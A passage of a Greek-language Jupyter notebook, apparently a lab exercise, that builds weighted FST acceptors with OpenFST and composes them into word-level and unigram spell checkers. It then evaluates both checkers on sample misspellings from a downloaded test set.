\u03c3\u03c5\u03bc\u03c6\u03ad\u03c1\u03b5\u03b9 \u03bd\u03b1 \u03b2\u03ac\u03bb\u03bf\u03c5\u03bc\u03b5 \u03cc\u03bb\u03bf \u03c4\u03bf \u03ba\u03cc\u03c3\u03c4\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03bb\u03ad\u03be\u03b7\u03c2 \u03bc\u03cc\u03bd\u03bf \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03ce\u03c4\u03b7 \u03b1\u03ba\u03bc\u03ae \u03c4\u03b7\u03c2 \u03ba\u03b1\u03b9 \u03c4\u03b9\u03c2 \u03c5\u03c0\u03cc\u03bb\u03bf\u03b9\u03c0\u03b5\u03c2 \u03bd\u03b1 \u03c4\u03b9\u03c2 \u03b8\u03ad\u03c3\u03bf\u03c5\u03bc\u03b5 0. \u03a4\u03bf \u03b1\u03c1\u03c7\u03b5\u03af\u03bf \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae\u03c2 \u03c4\u03bf\u03c5 \u03b1\u03c0\u03bf\u03b4\u03bf\u03c7\u03ad\u03b1 \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 __acceptor_token.fst__.\n\n# In[20]:\n\n\n# Get tokens of the corpus (our acceptor should accept only these words)\ntokens = get_tokens(\"War.txt\")\n# Open file to write mode\nf = open(\"acceptor_token.fst\", \"w\")\ns = 1\nfor token in tokens:\n    cost = token_weights[token]\n    letters = list(token)\n    for i in range(0, len(letters)):\n        if i == 0:\n            # For each token make state 1 its first state\n            f.write(format_arc(1, s+1, letters[i], letters[i], cost) + \"\\n\")\n        else:\n            f.write(format_arc(s, s+1, letters[i], letters[i]) + \"\\n\")\n        s += 1\n        if i == len(letters) - 1:\n            # When reaching the end of a token go to final state 0 though an \u03b5-transition\n            f.write(format_arc(s, 0, \"EPS\", \"EPS\") + \"\\n\")\n# Make state 0 final state\nf.write(\"0\")\n# Close the file\nf.close()\n\n\n# In[21]:\n\n\nget_ipython().system(' fstcompile --isymbols=chars.syms --osymbols=chars.syms acceptor_token.fst acceptor_token.fst')\n\n\n# __\u03b2)__ \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1 \u03ba\u03b1\u03bb\u03bf\u03cd\u03bc\u03b5 \u03c4\u03b9\u03c2 \u03c3\u03c5\u03bd\u03b1\u03c1\u03c4\u03ae\u03c3\u03b5\u03b9\u03c2 fstrmepsilon, fstdeterminize \u03ba\u03b1\u03b9 fstminimize \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b2\u03b5\u03bb\u03c4\u03b9\u03c3\u03c4\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03bc\u03b1\u03c2 (\u03b7 \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 \u03c4\u03bf\u03c5\u03c2 \u03ad\u03c7\u03b5\u03b9 \u03b1\u03bd\u03b1\u03c6\u03b5\u03c1\u03b8\u03b5\u03af \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae).\n\n# In[22]:\n\n\nget_ipython().system(' fstrmepsilon acceptor_token.fst acceptor_token.fst')\n\n\n# In[23]:\n\n\nget_ipython().system(' fstdeterminize acceptor_token.fst acceptor_token.fst')\n\n\n# In[24]:\n\n\nget_ipython().system(' fstminimize acceptor_token.fst acceptor_token.fst')\n\n\n# __\u03b3)__ \u03a4\u03ce\u03c1\u03b1 \u03b8\u03b1 \u03b5\u03c0\u03b1\u03bd\u03b1\u03bb\u03ac\u03b2\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03af\u03b4\u03b9\u03b1 \u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1 \u03b3\u03b9\u03b1 \u03c4\u03bf character level \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf. \u0391\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03b1\u03bb\u03bb\u03ac\u03be\u03b5\u03b9 \u03b4\u03b7\u03bb\u03b1\u03b4\u03ae \u03b5\u03af\u03bd\u03b1\u03b9 \u03cc\u03c4\u03b9 \u03b1\u03bd\u03c4\u03af \u03bd\u03b1 \u03c4\u03bf\u03c0\u03bf\u03b8\u03b5\u03c4\u03bf\u03cd\u03bc\u03b5 \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03ce\u03c4\u03b7 \u03b1\u03ba\u03bc\u03ae \u03c4\u03b7\u03c2 \u03bb\u03ad\u03be\u03b7\u03c2 \u03c4\u03bf \u03ba\u03cc\u03c3\u03c4\u03bf\u03c2 \u03bf\u03bb\u03cc\u03ba\u03bb\u03b7\u03c1\u03b7\u03c2 \u03c4\u03b7\u03c2 \u03bb\u03ad\u03be\u03b7\u03c2 \u03b8\u03b1 \u03bf\u03c1\u03af\u03b6\u03bf\u03c5\u03bc\u03b5 \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03bc\u03b5\u03c4\u03ac\u03b2\u03b1\u03c3\u03b7 \u03c3\u03b5 \u03ba\u03ac\u03b8\u03b5 \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1 \u03c4\u03b7\u03c2 \u03bb\u03ad\u03be\u03b7\u03c2 \u03c4\u03bf \u03b1\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03bf \u03ba\u03cc\u03c3\u03c4\u03bf\u03c2 \u03c4\u03bf\u03c5. \u03a3\u03b7\u03bc\u03b5\u03b9\u03ce\u03bd\u03b5\u03c4\u03b1\u03b9 \u03cc\u03c4\u03b9 \u03b1\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03b1 \u03bc\u03b5 \u03c0\u03c1\u03b9\u03bd \u03c4\u03bf \u03ba\u03cc\u03c3\u03c4\u03bf\u03c2 \u03b5\u03bd\u03cc\u03c2 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03b9\u03c3\u03bf\u03cd\u03c4\u03b1\u03b9 \u03bc\u03b5 \u03c4\u03bf\u03bd \u03b1\u03c1\u03bd\u03b7\u03c4\u03b9\u03ba\u03cc \u03bb\u03bf\u03b3\u03ac\u03c1\u03b9\u03b8\u03bc\u03bf \u03c4\u03b7\u03c2 \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03ae\u03c2 \u03c4\u03bf\u03c5. \u03a4\u03bf \u03b1\u03c1\u03c7\u03b5\u03af\u03bf \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae\u03c2 \u03c4\u03bf\u03c5 \u03b1\u03c0\u03bf\u03b4\u03bf\u03c7\u03ad\u03b1 \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 __acceptor_char.fst__.\n\n# In[25]:\n\n\n# Get tokens of the corpus (our acceptor should accept only these words)\ntokens = get_tokens(\"War.txt\")\n# Open file to write mode\nf = open(\"acceptor_char.fst\", \"w\")\ns = 1\nfor token in tokens:\n    letters = list(token)\n    for i in range(0, len(letters)):\n        if i == 0:\n            # For each token make state 1 its first state\n            f.write(format_arc(1, s+1, letters[i], letters[i], character_weigths[letters[i]]) + \"\\n\")\n        else:\n            f.write(format_arc(s, s+1, letters[i], letters[i], character_weigths[letters[i]]) + \"\\n\")\n        s += 1\n        if i == len(letters) - 1:\n            # When reaching the end of a token go to final state 0 though an \u03b5-transition\n            f.write(format_arc(s, 0, \"EPS\", \"EPS\") + \"\\n\")\n# Make state 0 final state\nf.write(\"0\")\n# Close the file\nf.close()\n\n\n# In[26]:\n\n\nget_ipython().system(' fstcompile --isymbols=chars.syms --osymbols=chars.syms acceptor_char.fst acceptor_char.fst')\n\n\n# In[27]:\n\n\nget_ipython().system(' fstrmepsilon acceptor_char.fst acceptor_char.fst')\n\n\n# In[28]:\n\n\nget_ipython().system(' fstdeterminize acceptor_char.fst acceptor_char.fst')\n\n\n# In[29]:\n\n\nget_ipython().system(' fstminimize acceptor_char.fst acceptor_char.fst')\n\n\n# ### \u0392\u03ae\u03bc\u03b1 13: \u039a\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03c9\u03bd\n\n# \u03a3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 \u03b1\u03c5\u03c4\u03cc \u03b8\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 \u03b4\u03cd\u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5\u03c2 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ce\u03bd\u03c4\u03b1\u03c2 \u03c4\u03b1 FST \u03b1\u03c0\u03cc \u03c4\u03b1 \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03b2\u03ae\u03bc\u03b1\u03c4\u03b1. \u0397 \u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1 \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03ad\u03bd\u03b1\u03bd \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf \u03b8\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03af\u03b4\u03b9\u03b1 \u03bc\u03b5 \u03b1\u03c5\u03c4\u03ae \u03c0\u03bf\u03c5 \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03ae\u03b8\u03b7\u03ba\u03b5 \u03c3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 7 \u03c4\u03b7\u03c2 \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae\u03c2.\n\n# __\u03b1)__ \u039f \u03c0\u03c1\u03ce\u03c4\u03bf\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 \u03b8\u03b1 \u03c0\u03c1\u03bf\u03ba\u03cd\u03c8\u03b5\u03b9 \u03c3\u03c5\u03bd\u03b8\u03ad\u03c4\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf\u03bd word level transducer \u03bc\u03b5 \u03c4\u03bf word level \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf.\n\n# \u0391\u03c1\u03c7\u03b9\u03ba\u03ac \u03b8\u03b1 \u03c4\u03b1\u03be\u03b9\u03bd\u03bf\u03bc\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b9\u03c2 \u03b5\u03be\u03cc\u03b4\u03bf\u03c5\u03c2 \u03c4\u03bf\u03c5 transducer_token \u03ba\u03b1\u03b9 \u03c4\u03b9\u03c2 \u03b5\u03b9\u03c3\u03cc\u03b4\u03bf\u03c5\u03c2 \u03c4\u03bf\u03c5 acceptor_token \u03bc\u03b5 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __fstarcsort__.\n\n# In[30]:\n\n\nget_ipython().system(' fstarcsort --sort_type=olabel transducer_token.fst transducer_token.fst')\nget_ipython().system(' fstarcsort --sort_type=ilabel acceptor_token.fst acceptor_token.fst')\n\n\n# \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1 \u03c3\u03c5\u03bd\u03b8\u03ad\u03c4\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf\u03bd transducer_token \u03bc\u03b5 \u03c4\u03bf\u03bd acceptor_token \u03bc\u03b5 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 fstcompose \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf\u03bd spell checker \u03bc\u03b1\u03c2 \u03c3\u03c4\u03bf \u03b1\u03c1\u03c7\u03b5\u03af\u03bf __spell_checker1.fst__.\n\n# In[31]:\n\n\nget_ipython().system(' fstcompose transducer_token.fst acceptor_token.fst spell_checker1.fst')\n\n\n# __\u03b2)__ \u039f \u03b4\u03b5\u03cd\u03c4\u03b5\u03c1\u03bf\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03b8\u03b1 \u03c0\u03c1\u03bf\u03ba\u03cd\u03c8\u03b5\u03b9 \u03c3\u03c5\u03bd\u03b8\u03ad\u03c4\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf\u03bd word level tranducer \u03bc\u03b5 \u03c4\u03bf unigram \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf.\n\n# \u0391\u03c1\u03c7\u03b9\u03ba\u03ac \u03b8\u03b1 \u03c4\u03b1\u03be\u03b9\u03bd\u03bf\u03bc\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b9\u03c2 \u03b5\u03b9\u03c3\u03cc\u03b4\u03bf\u03c5\u03c2 \u03c4\u03bf\u03c5 acceptor_char \u03bc\u03b5 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __fstarcsort__.\n\n# In[32]:\n\n\nget_ipython().system(' fstarcsort --sort_type=ilabel acceptor_char.fst acceptor_char.fst')\n\n\n# \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1 \u03c3\u03c5\u03bd\u03b8\u03ad\u03c4\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf\u03bd transducer_token \u03bc\u03b5 \u03c4\u03bf\u03bd acceptor_char \u03bc\u03b5 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 fstcompose \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf\u03bd spell checker \u03bc\u03b1\u03c2 \u03c3\u03c4\u03bf \u03b1\u03c1\u03c7\u03b5\u03af\u03bf __spell_checker2.fst__.\n\n# In[33]:\n\n\nget_ipython().system(' fstcompose transducer_token.fst acceptor_char.fst spell_checker2.fst')\n\n\n# __\u03b3)__ \u0397 \u03b4\u03b9\u03b1\u03c6\u03bf\u03c1\u03ac \u03c4\u03c9\u03bd \u03b4\u03cd\u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03c9\u03bd \u03b2\u03c1\u03af\u03c3\u03ba\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03bf \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf \u03c0\u03bf\u03c5 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03bf\u03cd\u03bd. \u03a3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03b1:\n#  1. __Word-Level \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf:__ \u039f 1\u03bf\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03c3\u03b5\u03b9 \u03bc\u03af\u03b1 \u03bb\u03ad\u03be\u03b7 \u03ba\u03bf\u03b9\u03c4\u03ac\u03b5\u03b9 (\u03c0\u03ad\u03c1\u03b1 \u03b1\u03c0\u03cc \u03c4\u03bf\u03bd \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc \u03c4\u03c9\u03bd edits) \u03c4\u03b7\u03bd \u03c3\u03c5\u03c7\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7\u03c2 \u03c4\u03b7\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7\u03c2 \u03c3\u03c4\u03bf corpus. \u0388\u03c4\u03c3\u03b9, \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03bd\u03b5\u03b9 \u03bc\u03af\u03b1 \u03bb\u03ad\u03be\u03b7 \u03c3\u03b5 \u03bc\u03af\u03b1 \u03ac\u03bb\u03bb\u03b7 \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c0\u03b9\u03bf \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc \u03bd\u03b1 \u03b5\u03af\u03c7\u03b5 \u03b5\u03bc\u03c6\u03b1\u03bd\u03b9\u03c3\u03c4\u03b5\u03af.\n#  2. __Unigram \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf:__ \u039f 2\u03bf\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03c3\u03b5\u03b9 \u03bc\u03af\u03b1 \u03bb\u03ad\u03be\u03b7 \u03ba\u03bf\u03b9\u03c4\u03ac\u03b5\u03b9 (\u03c0\u03ad\u03c1\u03b1 \u03b1\u03c0\u03cc \u03c4\u03bf\u03bd \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc \u03c4\u03c9\u03bd edits) \u03c4\u03b7\u03bd \u03c3\u03c5\u03c7\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1\u03c4\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03b4\u03b9\u03bf\u03c1\u03b8\u03c9\u03bc\u03ad\u03bd\u03b7\u03c2 \u03bb\u03ad\u03be\u03b7\u03c2. \u0388\u03c4\u03c3\u03b9, \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03bd\u03b5\u03b9 \u03bc\u03af\u03b1 \u03bb\u03ad\u03be\u03b7 \u03b1\u03bb\u03bb\u03ac\u03b6\u03bf\u03bd\u03c4\u03b1\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1 \u03c4\u03b7\u03c2 \u03c3\u03c4\u03bf \u03c0\u03b9\u03bf \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc \u03c0\u03bf\u03c5 \u03ae\u03c4\u03b1\u03bd \u03bd\u03b1 \u03b5\u03bc\u03c6\u03b1\u03bd\u03b9\u03c3\u03c4\u03b5\u03af.\n\n# \u0393\u03b9\u03b1 \u03c0\u03b1\u03c1\u03ac\u03b4\u03b5\u03b9\u03b3\u03bc\u03b1 \u03ad\u03c3\u03c4\u03c9 \u03cc\u03c4\u03b9 \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03bb\u03ad\u03be\u03b7 __cit__ \u03ba\u03b1\u03b9 \u03bf\u03b9 \u03b4\u03cd\u03bf \u03c0\u03b9\u03b8\u03b1\u03bd\u03ad\u03c2 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 \u03c0\u03bf\u03c5 \u03b2\u03c1\u03af\u03c3\u03ba\u03bf\u03bd\u03c4\u03b1\u03b9 \u03c3\u03c4\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03cc \u03bc\u03b1\u03c2 \u03ba\u03b1\u03b9 \u03ad\u03c7\u03bf\u03c5\u03bd \u03bc\u03cc\u03bd\u03bf 1 \u03b1\u03bb\u03bb\u03b1\u03b3\u03ae \u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 __cat__ \u03ba\u03b1\u03b9 \u03b7 __cut__. \u039f 1\u03bf\u03c2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03c0\u03b9\u03b8\u03b1\u03bd\u03ce\u03c2 \u03bd\u03b1 \u03b5\u03c0\u03b9\u03bb\u03ad\u03be\u03b5\u03b9 \u03c4\u03b7\u03bd cut \u03b5\u03c0\u03b5\u03b9\u03b4\u03ae \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03af\u03b1 \u03c0\u03b9\u03bf \u03c3\u03c5\u03bd\u03b9\u03b8\u03b9\u03c3\u03bc\u03ad\u03bd\u03b7 \u03bb\u03ad\u03be\u03b7. \u0391\u03c0\u03cc \u03c4\u03b7\u03bd \u03ac\u03bb\u03bb\u03b7, \u03bf 2\u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03b5\u03c0\u03b9\u03bb\u03ad\u03be\u03b5\u03b9 \u03c4\u03b7\u03bd cat \u03b5\u03c0\u03b5\u03b9\u03b4\u03ae \u03c4\u03bf \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1 a \u03b5\u03bc\u03c6\u03b1\u03bd\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c0\u03b9\u03bf \u03c3\u03c5\u03c7\u03bd\u03ac \u03b1\u03c0\u03cc \u03c4\u03bf \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1 u. \u0388\u03bd\u03b1 \u03b1\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03bf \u03c0\u03b1\u03c1\u03ac\u03b4\u03b5\u03b9\u03b3\u03bc\u03b1 \u03c0\u03b1\u03c1\u03bf\u03c5\u03c3\u03b9\u03ac\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03bf \u03c4\u03ad\u03bb\u03bf\u03c2 \u03c4\u03bf\u03c5 \u03b5\u03c0\u03cc\u03bc\u03b5\u03bd\u03bf\u03c5 \u03b2\u03ae\u03bc\u03b1\u03c4\u03bf\u03c2 \u03cc\u03c0\u03bf\u03c5 \u03b4\u03af\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03bb\u03ad\u03be\u03b7 qet \u03c3\u03c4\u03bf\u03c5\u03c2 \u03b4\u03cd\u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5\u03c2.\n\n# ### \u0392\u03ae\u03bc\u03b1 14: \u0391\u03be\u03b9\u03bf\u03bb\u03cc\u03b3\u03b7\u03c3\u03b7 \u03c4\u03c9\u03bd \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03c9\u03bd\n\n# __\u03b1)__ \u0393\u03b9\u03b1 \u03bd\u03b1 \u03ba\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf evaluation \u03c4\u03c9\u03bd \u03b4\u03cd\u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03c9\u03bd \u03ba\u03b1\u03c4\u03b5\u03b2\u03ac\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03c0\u03b1\u03c1\u03b1\u03ba\u03ac\u03c4\u03c9 \u03c3\u03cd\u03bd\u03bf\u03bb\u03bf \u03b4\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03c9\u03bd:\n\n# In[34]:\n\n\nget_ipython().system(' wget https://raw.githubusercontent.com/georgepar/python-lab/master/spell_checker_test_set')\n\n\n# __\u03b2)__ \u0394\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03bf\u03cd\u03bc\u03b5 \u03b1\u03c1\u03c7\u03b9\u03ba\u03ac \u03bc\u03af\u03b1 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __predict__ \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03bc\u03af\u03b1 \u03bb\u03ad\u03be\u03b7 \u03c0\u03bf\u03c5 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b4\u03b9\u03bf\u03c1\u03b8\u03c9\u03b8\u03b5\u03af \u03ba\u03b1\u03b9 \u03b3\u03c1\u03ac\u03c6\u03b5\u03b9 \u03c3\u03b5 \u03ad\u03bd\u03b1 \u03b1\u03c1\u03c7\u03b5\u03af\u03bf __pred_word.fst__ \u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b5\u03bd\u03cc\u03c2 FST \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03b1\u03c0\u03bf\u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03c4\u03b7\u03bd \u03c3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03b7 \u03bb\u03ad\u03be\u03b7. \u03a4\u03bf FST \u03b1\u03c5\u03c4\u03cc \u03b8\u03b1 \u03c4\u03bf \u03ba\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1 compose \u03bc\u03b5 \u03c4\u03bf\u03bd \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03c0\u03ac\u03c1\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03c4\u03b5\u03bb\u03b9\u03ba\u03cc \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1.\n\n# In[35]:\n\n\ndef predict(word):\n    s= 1\n    letters = list(word)\n    # Open file to write mode\n    f = open(\"pred_word.fst\", \"w\")\n    for i in range(0, len(letters)):\n        # For each letter of the word make a transition with zero weight\n        f.write(format_arc(s, s+1, letters[i], letters[i], 0) + '\\n')\n        s += 1\n        if i == len(letters) - 1:\n            # When reaching the end the word make a \u03b5-transition to the final state 0 \n            f.write(format_arc(s, 0, \"EPS\",  \"EPS\", 0) + '\\n')\n    # Final state\n    f.write(\"0\")\n    # Close the file\n    f.close()\n\n\n# \u0395\u03af\u03bc\u03b1\u03c3\u03c4\u03b5 \u03ad\u03c4\u03bf\u03b9\u03bc\u03bf\u03b9, \u03bb\u03bf\u03b9\u03c0\u03cc\u03bd, \u03c4\u03ce\u03c1\u03b1 \u03bd\u03b1 \u03b1\u03be\u03b9\u03bf\u03bb\u03bf\u03b3\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf\u03c5\u03c2 \u03b4\u03cd\u03bf \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5\u03c2. \u0398\u03b1 \u03b5\u03c0\u03b9\u03bb\u03ad\u03be\u03bf\u03c5\u03bc\u03b5 10 \u03c4\u03c5\u03c7\u03b1\u03af\u03b5\u03c2 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 \u03b1\u03c0\u03cc \u03c4\u03bf evaluation set \u03c0\u03bf\u03c5 \u03ba\u03b1\u03c4\u03b5\u03b2\u03ac\u03c3\u03b1\u03bc\u03b5 \u03ba\u03b1\u03b9 \u03b8\u03b1 \u03c4\u03b9\u03c2 \u03b4\u03b9\u03bf\u03c1\u03b8\u03ce\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ce\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf\u03c5\u03c2 2 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5\u03c2 \u03bc\u03b1\u03c2.\n\n# In[36]:\n\n\nimport random\nrandom.seed(1)\ntest_words = []\nfor _ in range(10):\n    random_lines = random.choice(open('spell_checker_test_set').readlines())\n    test_words.append(random.choice(random_lines.strip('\\n').split()[1:]))\n\n\n# In[37]:\n\n\nfor word in test_words:\n    print(word + \":\" + \" \",end='')\n    predict(word)\n    print(\"1: \",end='')\n    get_ipython().system(' ./predict.sh spell_checker1.fst')\n    print(\" 2: \",end='')\n    get_ipython().system(' ./predict.sh spell_checker2.fst')\n    print('\\n')\n\n\n# __\u03b3)__ 